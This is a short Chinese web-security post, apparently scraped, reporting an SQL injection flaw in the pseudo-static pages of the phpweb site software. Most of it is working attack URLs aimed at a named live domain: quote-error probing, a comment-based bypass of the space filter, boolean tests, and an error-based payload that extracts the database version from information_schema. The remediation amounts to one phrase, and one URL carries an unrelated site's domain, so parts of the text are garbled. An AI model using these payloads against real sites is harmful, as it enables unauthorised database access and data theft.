phpweb伪静态页面注入及修复 - 网站安全 - 自学p

phpweb所有的整站程序伪静态页面都存在sql注入

 

主站：http://phpweb.net/

加’检测：

 

http://www.phpweb.net/down/html/?772′.html

 

出错

存在注入。

不能用空格，只能用/*罗

http://www.phpweb.net/page/html/?56′/**/and/**/1=1/*.html 正常

 

http://www.2cto.com /page/html/?56′/**/and/**/1=2/*.html 出错.

爆 数据库 版本：

 

http://www.phpweb.net/page/ html /?56'/**/and/**/(SELECT/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/from/**/information_schema.tables/**/group/**/by/**/a)b)=1/*.html

更新日期: 2013-01-03 13:39:50

 

www.2cto.com修复方案

 

加强过滤

 

查看更多关于phpweb伪静态页面注入及修复 - 网站安全 - 自学p的详细内容...